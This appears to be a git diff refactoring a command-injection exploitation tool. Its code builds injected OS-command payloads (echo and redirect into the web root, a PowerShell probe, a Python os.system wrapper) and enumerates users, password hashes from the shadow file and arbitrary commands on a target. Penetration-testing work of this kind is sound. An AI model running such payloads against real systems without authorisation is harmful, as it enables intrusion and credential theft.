- sys_passes = sys_passes.split()
+ sys_passes = sys_passes.replace(" ", "\n").split()
if len(sys_passes) != 0 :
if settings.VERBOSITY_LEVEL == 0 and _:
print(settings.SINGLE_WHITESPACE)
@@ -1968,6 +2012,17 @@ def print_passes(sys_passes, filename, _):
warn_msg += settings.SHADOW_FILE + "' file."
print(settings.print_warning_msg(warn_msg))
+"""
+Print single OS command
+"""
+def print_single_os_cmd(cmd, shell):
+ if len(shell) > 1:
+ _ = "'" + cmd + "' execution output"
+ print(settings.print_retrieved_data(_, shell))
+ else:
+ err_msg = "The execution of '" + cmd + "' command does not return any output."
+ print(settings.print_error_msg(err_msg))
+
"""
Quote provided cmd
"""
@@ -1975,6 +2030,13 @@ def quoted_cmd(cmd):
cmd = "\"" + cmd + "\""
return cmd
+"""
+Escape single quoted cmd
+"""
+def escape_single_quoted_cmd(cmd):
+ cmd = cmd.replace("'","\\'")
+ return cmd
+
"""
Find filename
"""
@@ -1989,7 +2051,14 @@ def find_filename(dest_to_write, content):
Decode base 64 encoding
"""
def win_decode_b64_enc(fname, tmp_fname):
- cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname + " " + fname
+ cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname + settings.SINGLE_WHITESPACE + fname
+ return cmd
+
+"""
+Add command substitution on provided command
+"""
+def add_command_substitution(cmd):
+ cmd = "echo $(" + cmd + ")"
return cmd
"""
@@ -1999,6 +2068,10 @@ def remove_command_substitution(cmd):
cmd = cmd.replace("echo $(","").replace(")","")
return cmd
+def remove_parenthesis(cmd):
+ cmd = cmd.replace("(","").replace(")","")
+ return cmd
+
"""
Write the file content
"""
@@ -2020,11 +2093,11 @@ def delete_tmp(tmp_fname):
def check_file(dest_to_upload):
if settings.TARGET_OS == "win":
cmd = settings.FILE_LIST_WIN + dest_to_upload
- else:
- cmd = "echo $(" + settings.FILE_LIST + dest_to_upload + ")"
+ else:
+ cmd = settings.FILE_LIST + dest_to_upload
+ cmd = add_command_substitution(cmd)
return cmd
-
"""
Change directory
"""
diff --git a/src/core/injections/controller/parser.py b/src/core/injections/controller/parser.py
index f06e8b04be..2cdd04b4f1 100755
--- a/src/core/injections/controller/parser.py
+++ b/src/core/injections/controller/parser.py
@@ -196,7 +196,7 @@ def invalid_data(request):
if single_request:
print(settings.SINGLE_WHITESPACE)
if menu.options.logfile and settings.VERBOSITY_LEVEL != 0:
- sub_content = http_method + " " + prefix + menu.options.host + request_url
+ sub_content = http_method + settings.SINGLE_WHITESPACE + prefix + menu.options.host + request_url
print(settings.print_sub_content(sub_content))
if menu.options.cookie:
sub_content = "Cookie: " + menu.options.cookie
diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
index db1786a10b..38412ef35c 100755
--- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py
+++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py
@@ -35,7 +35,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_
_ = False
cmd = settings.PS_VERSION
if alter_shell:
- cmd = cmd.replace("'","\\'")
+ cmd = checks.escape_single_quoted_cmd(cmd)
# Evaluate injection results.
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
@@ -112,7 +112,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_
distro_name = cb_injector.injection_results(response, TAG, cmd)
distro_name = "".join(str(p) for p in distro_name)
if len(distro_name) != 0:
- target_os = target_os + " " + distro_name
+ target_os = target_os + settings.SINGLE_WHITESPACE + distro_name
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
@@ -181,20 +181,19 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_current_user_privs(shell, filename, _)
-
"""
System users enumeration
"""
def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
_ = False
+ cmd = settings.SYS_USERS
if settings.TARGET_OS == "win":
- settings.SYS_USERS = settings.WIN_SYS_USERS
- settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
+ cmd = settings.WIN_SYS_USERS
+ cmd = cmd + settings.WIN_REPLACE_WHITESPACE
if alter_shell:
- settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'")
+ cmd = checks.escape_single_quoted_cmd(cmd)
else:
- settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS)
- cmd = settings.SYS_USERS
+ cmd = checks.quoted_cmd(cmd)
if settings.TARGET_OS == "win":
cmd = "cmd /c " + cmd
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
@@ -236,8 +235,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
"""
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
cmd = menu.options.os_cmd
- info_msg = "Executing the user-supplied command: '" + cmd + "'."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().print_single_os_cmd_msg(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
@@ -250,12 +248,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if shell and shell != "":
- _ = "'" + cmd + "' execution output"
- print(settings.print_retrieved_data(_, shell))
- else:
- err_msg = "The execution of '" + cmd + "' command does not return any output."
- print(settings.print_error_msg(err_msg))
+ checks.print_single_os_cmd(cmd, shell)
"""
Check the defined options
@@ -267,43 +260,32 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur
if menu.options.ps_version and settings.PS_ENABLED == None:
if not checks.ps_incompatible_os():
- info_msg = "Fetching powershell version."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().ps_version_msg()
powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.hostname:
- info_msg = "Fetching hostname."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().hostname_msg()
hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.current_user:
- info_msg = "Fetching current user."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().current_user_msg()
current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.is_root or menu.options.is_admin:
- info_msg = "Testing if current user has excessive privileges."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().check_privs_msg()
check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.sys_info:
- info_msg = "Fetching the underlying operating system information."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().os_info_msg()
system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.users:
- if settings.TARGET_OS == "win":
- info_msg = "Executing the 'net users' command "
- info_msg += "in order to enumerate users entries. "
- else:
- info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
- info_msg += "' in order to enumerate users entries. "
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().print_users_msg()
system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
@@ -312,9 +294,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur
check_option = "--passwords"
checks.unavailable_option(check_option)
else:
- info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
- info_msg += "' in order to enumerate users password hashes. "
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().print_passes_msg()
system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
index abf0292659..c50ac0af2d 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py
@@ -35,7 +35,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_
_ = False
cmd = settings.PS_VERSION
if alter_shell:
- cmd = cmd.replace("'","\\'")
+ cmd = checks.escape_single_quoted_cmd(cmd)
else:
cmd = cmd = checks.quoted_cmd(cmd)
# Evaluate injection results.
@@ -109,7 +109,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_
distro_name = eb_injector.injection_results(response, TAG, cmd)
distro_name = "".join(str(p) for p in distro_name)
if len(distro_name) != 0:
- target_os = target_os + " " + distro_name
+ target_os = target_os + settings.SINGLE_WHITESPACE + distro_name
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
@@ -137,14 +137,14 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_
"""
def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
_ = False
+ cmd = settings.CURRENT_USER
if settings.TARGET_OS == "win":
- settings.SYS_USERS = settings.WIN_SYS_USERS
- settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
+ cmd = settings.WIN_SYS_USERS
+ cmd = cmd + settings.WIN_REPLACE_WHITESPACE
if alter_shell:
- settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'")
+ cmd = checks.escape_single_quoted_cmd(cmd)
else:
- settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS)
- cmd = settings.CURRENT_USER
+ cmd = checks.quoted_cmd(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
@@ -189,16 +189,16 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re
"""
def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
_ = False
+ cmd = settings.SYS_USERS
if settings.TARGET_OS == "win":
- settings.SYS_USERS = settings.WIN_SYS_USERS
- settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
+ cmd = settings.WIN_SYS_USERS
+ cmd = cmd + settings.WIN_REPLACE_WHITESPACE
if alter_shell:
- settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'")
+ cmd = checks.escape_single_quoted_cmd(cmd)
else:
- settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS)
+ cmd = checks.quoted_cmd(cmd)
else:
- settings.SYS_USERS = settings.EVAL_SYS_USERS
- cmd = settings.SYS_USERS
+ cmd = settings.EVAL_SYS_USERS
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
@@ -208,7 +208,7 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method
# Evaluate injection results.
sys_users = eb_injector.injection_results(response, TAG, cmd)
sys_users = "".join(str(p) for p in sys_users)
- session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
+ # session_handler.store_cmd(url, cmd, sys_users, vuln_parameter)
else:
sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
checks.print_users(sys_users, filename, _)
@@ -238,8 +238,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me
"""
def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec):
cmd = menu.options.os_cmd
- info_msg = "Executing the user-supplied command: '" + cmd + "'."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().print_single_os_cmd_msg(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
@@ -252,12 +251,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if shell and shell != "":
- _ = "'" + cmd + "' execution output"
- print(settings.print_retrieved_data(_, shell))
- else:
- err_msg = "The execution of '" + cmd + "' command does not return any output."
- print(settings.print_error_msg(err_msg))
+ checks.print_single_os_cmd(cmd, shell)
"""
Check the defined options
@@ -269,43 +263,32 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur
if menu.options.ps_version and settings.PS_ENABLED == None:
if not checks.ps_incompatible_os():
- info_msg = "Fetching powershell version."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().ps_version_msg()
powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.hostname:
- info_msg = "Fetching hostname."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().hostname_msg()
hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.current_user:
- info_msg = "Fetching current user."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().current_user_msg()
current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.is_root or menu.options.is_admin:
- info_msg = "Testing if current user has excessive privileges."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().check_privs_msg()
check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.sys_info:
- info_msg = "Fetching the underlying operating system information."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().os_info_msg()
system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
if menu.options.users:
- if settings.TARGET_OS == "win":
- info_msg = "Executing the 'net users' command "
- info_msg += "in order to enumerate users entries. "
- else:
- info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
- info_msg += "' in order to enumerate users entries. "
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().print_users_msg()
system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
@@ -314,9 +297,7 @@ def do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, ur
check_option = "--passwords"
checks.unavailable_option(check_option)
else:
- info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
- info_msg += "' in order to enumerate users password hashes. "
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().print_passes_msg()
system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec)
settings.ENUMERATION_DONE = True
diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
index 20884d3b98..760180f8c1 100755
--- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py
+++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py
@@ -97,9 +97,9 @@ def injection_test_results(response, TAG, randvcalc):
html_data = checks.page_encoding(response, action="decode")
html_data = re.sub("\n", " ", html_data)
if settings.SKIP_CALC:
- shell = re.findall(r"" + TAG + " " + TAG + " " + TAG + " " , html_data)
+ shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + " " , html_data)
else:
- shell = re.findall(r"" + TAG + " " + str(randvcalc) + " " + TAG + " " + TAG + " " , html_data)
+ shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + str(randvcalc) + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + " " , html_data)
return shell
"""
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
index dc54fb7b28..2ca6dacd8b 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py
@@ -34,7 +34,7 @@ def powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitesp
_ = False
cmd = settings.PS_VERSION
if alter_shell:
- cmd = cmd.replace("'","\\'")
+ cmd = checks.escape_single_quoted_cmd(cmd)
else:
cmd = cmd = checks.quoted_cmd(cmd)
# Evaluate injection results.
@@ -99,7 +99,7 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp
distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec)
distro_name = "".join(str(p) for p in distro_name)
if len(distro_name) != 0:
- target_os = target_os + " " + distro_name
+ target_os = target_os + settings.SINGLE_WHITESPACE + distro_name
session_handler.store_cmd(url, cmd, target_os, vuln_parameter)
else:
target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
@@ -163,14 +163,14 @@ def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, w
"""
def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
_ = False
+ cmd = settings.SYS_USERS
if settings.TARGET_OS == "win":
- settings.SYS_USERS = settings.WIN_SYS_USERS
- settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
+ cmd = settings.WIN_SYS_USERS
+ cmd = cmd + settings.WIN_REPLACE_WHITESPACE
if alter_shell:
- settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'")
+ cmd = checks.escape_single_quoted_cmd(cmd)
else:
- settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS)
- cmd = settings.SYS_USERS
+ cmd = checks.quoted_cmd(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
@@ -204,8 +204,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac
"""
def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename):
cmd = menu.options.os_cmd
- info_msg = "Executing the user-supplied command: '" + cmd + "'."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().print_single_os_cmd_msg(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# Command execution results.
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
@@ -215,12 +214,7 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp
session_handler.store_cmd(url, cmd, shell, vuln_parameter)
else:
shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- if shell and shell != "":
- _ = "'" + cmd + "' execution output"
- print(settings.print_retrieved_data(_, shell))
- else:
- err_msg = "The execution of '" + cmd + "' command does not return any output."
- print(settings.print_error_msg(err_msg))
+ checks.print_single_os_cmd(cmd, shell)
"""
Check the defined options
@@ -232,43 +226,32 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_
if menu.options.ps_version and settings.PS_ENABLED == None:
if not checks.ps_incompatible_os():
- info_msg = "Fetching powershell version."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().ps_version_msg()
powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
if menu.options.hostname:
- info_msg = "Fetching hostname."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().hostname_msg()
hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
if menu.options.current_user:
- info_msg = "Fetching current user."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().current_user_msg()
current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
if menu.options.is_root or menu.options.is_admin:
- info_msg = "Testing if current user has excessive privileges."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().check_privs_msg()
check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
if menu.options.sys_info:
- info_msg = "Fetching the underlying operating system information."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().os_info_msg()
system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
if menu.options.users:
- if settings.TARGET_OS == "win":
- info_msg = "Executing the 'net users' command "
- info_msg += "in order to enumerate users entries. "
- else:
- info_msg = "Fetching content of the file '" + settings.PASSWD_FILE
- info_msg += "' in order to enumerate users entries. "
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().print_users_msg()
system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
@@ -277,9 +260,7 @@ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_
check_option = "--passwords"
checks.unavailable_option(check_option)
else:
- info_msg = "Fetching content of the file '" + settings.SHADOW_FILE
- info_msg += "' in order to enumerate users password hashes. "
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().print_passes_msg()
system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
settings.ENUMERATION_DONE = True
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index 7b30de7d19..b5648fbc87 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -67,7 +67,7 @@ def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, h
if settings.TARGET_OS == "win":
cmd = settings.WIN_DEL + OUTPUT_TEXTFILE
else:
- cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + " " + settings.COMMENT
+ cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT
response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
"""
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
index bedb6ba0b9..5b66e37efe 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py
@@ -20,6 +20,7 @@
from src.utils import menu
from src.utils import settings
+from src.core.injections.controller import checks
"""
File-based decision payload (check if host is vulnerable).
@@ -29,11 +30,11 @@ def decision(separator, TAG, OUTPUT_TEXTFILE):
if settings.TARGET_OS == "win":
payload = (separator +
"powershell.exe -InputFormat none Add-Content " +
- OUTPUT_TEXTFILE + " " + TAG
+ OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + TAG
)
else:
payload = (separator +
- "echo " + TAG + ">" + settings.WEB_ROOT + OUTPUT_TEXTFILE
+ "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE
)
return payload
@@ -79,7 +80,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE):
"for /f \"tokens=*\" %i in ('cmd /c \"" +
"powershell.exe -InputFormat none write-host (cmd /c \"" +
cmd +
- "\")\"') do @set /p =%i " + ">" + OUTPUT_TEXTFILE + "< nul"
+ "\")\"') do @set /p =%i " + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul"
)
else:
# if settings.USER_AGENT_INJECTION == True or \
@@ -87,9 +88,9 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE):
# settings.HOST_INJECTION == True or \
# settings.CUSTOM_HEADER_INJECTION == True:
# if not settings.DEL in cmd:
- # cmd = "echo $(" + cmd + ")"
+ # cmd = checks.add_command_substitution(cmd)
payload = (separator +
- cmd + ">" + settings.WEB_ROOT + OUTPUT_TEXTFILE
+ cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE
)
return payload
@@ -103,7 +104,7 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE):
payload = (separator +cmd + " "
)
else:
- python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + ">" + OUTPUT_TEXTFILE + "')\""
+ python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "')\""
payload = (separator +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
index 9caa704547..746d26a4ec 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py
@@ -92,7 +92,7 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
distro_name = output
if len(distro_name) != 0:
- target_os = target_os + " " + distro_name
+ target_os = target_os + settings.SINGLE_WHITESPACE + distro_name
if settings.TARGET_OS == "win":
cmd = settings.WIN_RECOGNISE_HP
else:
@@ -149,13 +149,13 @@ def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whites
"""
def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
_ = False
+ cmd = settings.SYS_USERS
if settings.TARGET_OS == "win":
- settings.SYS_USERS = settings.WIN_SYS_USERS
- settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))"
+ cmd = settings.WIN_SYS_USERS
+ cmd = cmd + settings.WIN_REPLACE_WHITESPACE
# URL encode "+ " if POST request and python alternative shell.
if alter_shell and http_request_method == settings.HTTPMETHOD.POST:
- settings.SYS_USERS = settings.SYS_USERS.replace("+ ","%2B")
- cmd = settings.SYS_USERS
+ cmd = cmd.replace("+","%2B")
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
try:
# The main command injection exploitation.
@@ -191,8 +191,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti
Single os-shell execution
"""
def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
- info_msg = "Executing the user-supplied command: '" + cmd + "'."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().print_single_os_cmd_msg(cmd)
if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
@@ -202,12 +201,7 @@ def single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
check_how_long = 0
- if len(output) > 1:
- _ = "'" + cmd + "' execution output"
- print(settings.print_retrieved_data(_, output))
- else:
- err_msg = "The execution of '" + cmd + "' command does not return any output."
- print(settings.print_error_msg(err_msg))
+ checks.print_single_os_cmd(cmd, output)
return check_how_long, output
"""
@@ -223,53 +217,42 @@ def reset():
if not checks.ps_incompatible_os():
if settings.ENUMERATION_DONE:
print(settings.SINGLE_WHITESPACE)
- info_msg = "Fetching powershell version."
- print(settings.print_info_msg(info_msg))
+ checks.print_enumenation().ps_version_msg()
powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
reset()
